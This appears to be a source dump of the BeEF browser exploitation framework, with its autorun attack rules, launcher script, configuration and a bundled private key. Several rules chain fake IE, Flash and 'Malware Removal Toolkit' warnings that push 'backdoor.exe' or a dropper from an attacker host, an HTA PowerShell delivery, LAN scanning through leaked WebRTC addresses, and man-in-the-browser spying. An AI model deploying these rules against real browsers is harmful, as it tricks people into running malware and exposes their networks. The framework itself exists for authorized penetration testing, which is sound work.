"Windows", "os_version": ">= 7", "modules": [ { "name": "fake_notification", "condition": null, "options": { "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." } } ,{ "name": "clippy", "condition": null, "options": { "clippydir": "http://172.16.45.1:3000/clippy/", "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe", "respawntime":"5000", "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" } } ], "execution_order": [0,1], "execution_delay": [0,2000], "chain_mode": "sequential" } ================================================ FILE: arerules/ie_win_htapowershell.json ================================================ { "name": "HTA PowerShell", "author": "antisnatchor", "browser": "IE", "os": "Windows", "os_version": ">= 7", "modules": [ { "name": "fake_notification", "condition": null, "options": { "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" } }, { "name": "hta_powershell", "condition": null, "options": { "domain":"http://172.16.45.1:3000", "ps_url":"/ps" } }], "execution_order": [0,1], "execution_delay": [0,500], "chain_mode": "sequential" } ================================================ FILE: arerules/ie_win_missingflash-prettytheft.json ================================================ { "name": "Fake missing plugin + Pretty Theft LinkedIn", "author": "antisnatchor", "browser": "IE", "browser_version": ">= 8", "os": "Windows", "os_version": "== XP", "modules": [{ "name": "fake_notification_c", "condition": null, "options": { "url": "http://172.16.45.1:3000/updates/backdoor.exe", "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " } }, { "name": "pretty_theft", "condition": null, "options": { "choice": "Windows", "backing": "Grey", "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" } }], "execution_order": [0, 1], "execution_delay": [0, 5000], "chain_mode": "sequential" } ================================================ FILE: arerules/ie_win_test-return-mods.json ================================================ { "name": "Test return debug stuff", "author": "antisnatchor", "browser": "IE", "browser_version": "<= 8", "os": "Windows", "os_version": ">= XP", "modules": [{ "name": "test_return_ascii_chars", "condition": null, "options": {} }, { "name": "test_return_long_string", "condition": "status==1", "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", "options": { "repeat": "10", "repeat_string": "<>" } }, { "name": "alert_dialog", "condition": "status=1", "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", "options":{"text":"<>"} }, { "name": "get_page_html", "condition": null, "options": {} }], "execution_order": [0, 1, 2, 3], "execution_delay": [0, 0, 0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_cors_scan.json ================================================ {"name": "LAN CORS Scan", "author": "bcoles", "browser": ["FF", "C"], "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "cross_origin_scanner_cors", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", "threads":"2", "wait":"2", "timeout":"10" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_cors_scan_common.json ================================================ {"name": "LAN CORS Scan (Common IPs)", "author": "bcoles", "modules": [ {"name": "cross_origin_scanner_cors", "condition": null, "code": null, "options": { "ipRange":"common", "ports":"80,8080", "threads":"2", "wait":"2", "timeout":"10" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/lan_fingerprint.json ================================================ {"name": "LAN Fingerprint", "author": "bcoles", "browser": ["FF", "C"], "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "internal_network_fingerprinting", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", "threads":"3", "wait":"5", "timeout":"10" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_fingerprint_common.json ================================================ {"name": "LAN Fingerprint (Common IPs)", "author": "antisnatchor", "modules": [ {"name": "internal_network_fingerprinting", "condition": null, "code": null, "options": { "ipRange":"common", "ports":"80,8080", "threads":"3", "wait":"5", "timeout":"10" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/lan_flash_scan.json ================================================ {"name": "LAN Flash Scan", "author": "bcoles", "browser": ["FF", "C"], "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "cross_origin_scanner_flash", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", "threads":"2", "timeout":"5" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_flash_scan_common.json ================================================ {"name": "LAN Flash Scan (Common IPs)", "author": "bcoles", "browser": ["FF", "C"], "modules": [ {"name": "cross_origin_scanner_flash", "condition": null, "code": null, "options": { "ipRange":"common", "ports":"80,8080", "threads":"2", "timeout":"5" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/lan_http_scan.json ================================================ {"name": "LAN HTTP Scan", "author": "bcoles", "browser": ["FF", "C"], "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "get_http_servers", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "rhosts":"<>", "ports":"80,8080", "threads":"3", "wait":"5", "timeout":"10" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_http_scan_common.json ================================================ {"name": "LAN HTTP Scan (Common IPs)", "author": "bcoles", "modules": [ {"name": "get_http_servers", "condition": null, "code": null, "options": { "rhosts":"common", "ports":"80,8080", "threads":"3", "wait":"5", "timeout":"10" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/lan_ping_sweep.json ================================================ {"name": "LAN Ping Sweep", "author": "bcoles", "browser": "FF", "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "ping_sweep", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "rhosts":"<>", "threads":"3" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_ping_sweep_common.json ================================================ {"name": "LAN Ping Sweep (Common IPs)", "author": "bcoles", "browser": "FF", "modules": [ {"name": "ping_sweep", "condition": null, "code": null, "options": { "rhosts":"common", "threads":"3" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/lan_port_scan.json ================================================ {"name": "LAN Port Scan", "author": "aburro & aussieklutz", "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "port_scanner", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", "options": { "ipHost":"<>", "ports":"80,8080", "closetimeout":"1100", "opentimeout":"2500", "delay":"600", "debug":"false" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/lan_sw_port_scan.json ================================================ {"name": "LAN SW Port Scan", "author": "aburro & aussieklutz", "modules": [ {"name": "get_internal_ip_webrtc", "condition": null, "code": null, "options": {} }, {"name": "sw_port_scanner", "condition": "status==1", "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;", "options": { "ipHost":"192.168.1.10", "ports":"80,8080" } } ], "execution_order": [0, 1], "execution_delay": [0, 0], "chain_mode": "nested-forward" } ================================================ FILE: arerules/man_in_the_browser.json ================================================ {"name": "Perform Man-In-The-Browser", "author": "mgeeky", "modules": [ {"name": "man_in_the_browser", "condition": null, "code": null, "options": {} } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/raw_javascript.json ================================================ { "name": "Raw JavaScript", "author": "wade@bindshell.net", "modules": [ {"name": "raw_javascript", "condition": null, "options": { "cmd": "alert(0xBeEF);" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/record_snapshots.json ================================================ {"name": "Collects multiple snapshots of the webpage within Same-Origin", "author": "mgeeky", "modules": [ {"name": "spyder_eye", "condition": null, "options": { "repeat":"10", "delay":"3000" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "sequential" } ================================================ FILE: arerules/win_fake_malware.json ================================================ // note: update your dropper URL (dropper.local) in each of the modules below { "name": "Windows Fake Malware", "author": "bcoles", "os": "Windows", "modules": [ { "name": "blockui", "condition": null, "options": { "message": "

This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online.

Microsoft Malware Removal Toolkit

", "timeout": "9999" } }, { "name": "text_to_voice", "condition": null, "options": { "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.", "language": "en" } }, { "name": "fake_notification_ie", "condition": null, "options": { "url": "http://dropper.local/malware_removal_tool.exe", "notification_text": "SECURITY WARNING: Download the Microsoft Malware Removal Toolkit as soon as possible." } } ], "execution_order": [0,1,2], "execution_delay": [0,0,0], "chain_mode": "sequential" } ================================================ FILE: beef ================================================ #!/usr/bin/env ruby # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # # @note stop Fixnum deprecation warning from being displayed # $VERBOSE = nil # # @note Version check to ensure BeEF is running Ruby 3.0+ # min_ruby_version = '3.0' if RUBY_VERSION < min_ruby_version puts puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later." puts exit 1 end # # @note Platform check to ensure BeEF is not running on Windows # if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw') puts puts "Ruby platform #{RUBY_PLATFORM} is not supported." puts exit 1 end # # @note set load path, application root directory and user preferences directory # $root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.') $:.unshift($root_dir) $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze # @note Parse BeEF CLI options early (prevents Rack help from taking over) require 'core/main/console/commandline' BeEF::Core::Console::CommandLine.parse # # @note Require core loader # require 'core/loader' require 'timeout' # # @note Ask user if they would like to update beef # if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false if BeEF::Core::Console::CommandLine.parse[:update_auto] == true print 'Checking latest BeEF repository and updating' `git pull && bundle` elsif `git rev-parse master` != `git rev-parse origin/master` begin Timeout.timeout(5) do puts '-- BeEF Update Available --' print 'Would you like to update to lastest version? y/n: ' response = gets `git pull && bundle` if response&.strip == 'y' end rescue Timeout::Error puts "\nUpdate Skipped with input timeout" end end end # # @note Create ~/.beef/ # begin FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir) rescue => e print_error "Could not create '#{$home_dir}': #{e.message}" exit 1 end # # @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed. # if BeEF::Core::Console::CommandLine.parse[:ext_config].empty? config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml") else config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}") end # # @note set log level # BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN # # @note Check the system language settings for UTF-8 compatibility # env_lang = ENV['LANG'] if env_lang !~ /(utf8|utf-8)/i print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible." if env_lang =~ /\A([a-z]+_[a-z]+)\./i country = $1 print_more "Try: export LANG=#{country}.utf8" end end # # @note Check if port and WebSocket port need to be updated from command line parameters # unless BeEF::Core::Console::CommandLine.parse[:port].empty? config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port]) end unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty? config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port]) end # # @note Validate configuration file # unless BeEF::Core::Configuration.instance.validate exit 1 end # # @note Exit on default credentials # if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef') print_error "ERROR: Default username and password in use!" print_more "Change the beef.credentials.passwd in config.yaml" exit 1 end # # @note Validate beef.http.public and beef.http.public_port # unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host')) print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}" exit 1 end unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port')) print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}" exit 1 end # # @note After the BeEF core is loaded, bootstrap the rest of the framework internals # require 'core/bootstrap' # # @note Prints the BeEF ascii art if the -a flag was passed # if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true BeEF::Core::Console::Banners.print_ascii_art end # # @note Prints BeEF welcome message # BeEF::Core::Console::Banners.print_welcome_msg # # @note Loads enabled extensions # BeEF::Extensions.load # # @note Loads enabled modules # BeEF::Modules.load # # @note Disable reverse DNS # Socket.do_not_reverse_lookup = true # # @note Database setup # # # @note Load the database # db_file = config.get('beef.database.file') # @note Resets the database if the -x flag was passed if BeEF::Core::Console::CommandLine.parse[:resetdb] print_info 'Resetting the database for BeEF.' begin File.delete(db_file) if File.exist?(db_file) rescue => e print_error("Could not remove '#{db_file}' database file: #{e.message}") exit(1) end end # Connect to DB ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end # Migrate (if required) ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end # # @note Extensions may take a moment to load, thus we print out a please wait message # print_info 'BeEF is loading. Wait a few seconds...' # # @note Execute migration procedure, checks for new modules # begin BeEF::Core::Migration.instance.update_db! rescue => e print_error("Could not update '#{db_file}' database file: #{e.message}") exit(1) end # # @note Create HTTP Server and prepare it to run # http_hook_server = BeEF::Core::Server.instance http_hook_server.prepare begin BeEF::Core::Logger.instance.register('System', 'BeEF server started') rescue => e print_error("Database connection failed: #{e.message}") exit(1) end # # @note Prints information back to the user before running the server # BeEF::Core::Console::Banners.print_loaded_extensions BeEF::Core::Console::Banners.print_loaded_modules BeEF::Core::Console::Banners.print_network_interfaces_count BeEF::Core::Console::Banners.print_network_interfaces_routes BeEF::Core::Console::Banners.print_http_proxy BeEF::Core::Console::Banners.print_dns # # @note Prints the API key needed to use the RESTful API # print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" # # @note Load the GeoIP database # BeEF::Core::GeoIp.instance # # @note Call the API method 'pre_http_start' # BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) # # @note Load any ARE (Autorun Rule Engine) rules scanning the /arerules/enabled directory # BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory # # @note Start the WebSocket server # if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance BeEF::Core::Console::Banners.print_websocket_servers end # # @note Start HTTP server # print_info 'BeEF server started (press control+c to stop)' http_hook_server.start ================================================ FILE: beef_cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx MzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF AAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C lVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB W9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB TYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0 w3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD Wbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3 hhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw 86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28 0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg 5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin 5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8 9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p sr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof gVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei H0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU oZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ rNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi DLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4= -----END CERTIFICATE----- ================================================ FILE: beef_key.pem ================================================ -----BEGIN PRIVATE KEY----- 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 jyItP2FJBbw7BlIq7t2c2G66 -----END PRIVATE KEY----- ================================================ FILE: conf.json ================================================ { "source": { "include": ["./core/main/client"], "includePattern": ".js$" }, "plugins": [ "plugins/markdown" ], "opts": { "encoding": "utf8", "readme": "./README.md", "destination": "docs/", "recurse": true, "verbose": true } } ================================================ FILE: config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # BeEF Configuration file beef: version: '0.6.0.0' # More verbose messages (server-side) debug: false # More verbose messages (client-side) client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: user: "beef" passwd: "beef" # Interface / IP restrictions restrictions: # subnet of IP addresses that can hook to the framework permitted_hooking_subnet: ["0.0.0.0/0", "::/0"] # subnet of IP addresses that can connect to the admin UI #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"] permitted_ui_subnet: ["0.0.0.0/0", "::/0"] # subnet of IP addresses that cannot be hooked by the framework excluded_hooking_subnet: [] # slow API calls to 1 every api_attempt_delay seconds api_attempt_delay: "0.05" # HTTP server http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" # Decrease this setting to 1,000 (ms) if you want more responsiveness # when sending modules and retrieving results. # NOTE: A poll timeout of less than 5,000 (ms) might impact performance # when hooking lots of browsers (50+). # Enabling WebSockets is generally better (beef.websocket.enable) xhr_poll_timeout: 1000 # Public Domain Name / Reverse Proxy / Port Forwarding # # In order for the client-side BeEF JavaScript hook to be able to connect to BeEF, # the hook JavaScript needs to be generated with the correct connect-back details. # # If you're using a public domain name, reverse proxy, or port forwarding you must # configure the public-facing connection details here. #public: # host: "beef.local" # public hostname/IP address # port: "443" # public port (443 if the public server is using HTTPS) # https: false # true/false # If using any reverse proxy you should also set allow_reverse_proxy to true below. # Note that this causes the BeEF server to trust the X-Forwarded-For HTTP header. # If the BeEF server is directly accessible, clients can spoof their connecting # IP address using this header to bypass the IP address permissions/exclusions. allow_reverse_proxy: false # Hook hook_file: "/hook.js" hook_session_name: "BEEFHOOK" # Allow one or multiple origins to access the RESTful API using CORS # For multiple origins use: "http://browserhacker.com, http://domain2.com" restful_api: allow_cors: false cors_allowed_domains: "http://browserhacker.com" # Prefer WebSockets over XHR-polling when possible. websocket: enable: false port: 61985 # WS: good success rate through proxies # Use encrypted 'WebSocketSecure' # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF secure: true secure_port: 61986 # WSSecure ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: enable: true type: "apache" # Supported: apache, iis, nginx hook_404: false # inject BeEF hook in HTTP 404 responses hook_root: false # inject BeEF hook in the server home page # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.public (the domain name of the server where you run BeEF) key: "beef_key.pem" cert: "beef_cert.pem" database: file: "beef.db" # Autorun Rule Engine autorun: # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually # continue execution regardless of results. # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout. result_poll_interval: 300 result_poll_timeout: 5000 # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain. # This is useful to call modules (nested-forward chain mode) that are not returning their status/results. continue_after_timeout: true # Enables DNS lookups on zombie IP addresses dns_hostname_lookup: false # IP Geolocation geoip: enable: true # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com database: '/usr/share/GeoIP/GeoLite2-City.mmdb' # You may override default extension configuration parameters here # Note: additional experimental extensions are available in the 'extensions' directory # and can be enabled via their respective 'config.yaml' file extension: admin_ui: enable: true base_path: "/ui" demos: enable: true events: enable: true evasion: enable: false requester: enable: true proxy: enable: true network: enable: true metasploit: enable: false social_engineering: enable: false xssrays: enable: true ================================================ FILE: core/api/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Extension attr_reader :full_name, :short_name, :description @full_name = '' @short_name = '' @description = '' end end end ================================================ FILE: core/api/extensions.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Extensions # @note Defined API Paths API_PATHS = { 'post_load' => :post_load }.freeze # API hook fired after all extensions have been loaded def post_load; end end end end ================================================ FILE: core/api/main/configuration.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Configuration # @note Defined API Paths API_PATHS = { 'module_configuration_load' => :module_configuration_load }.freeze # Fires just after module configuration is loaded and merged # @param [String] mod module key def module_configuration_load(mod); end end end end ================================================ FILE: core/api/main/migration.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Migration # @note Defined API Paths API_PATHS = { 'migrate_commands' => :migrate_commands }.freeze # Fired just after the migration process def migrate_commands; end end end end ================================================ FILE: core/api/main/network_stack/assethandler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) 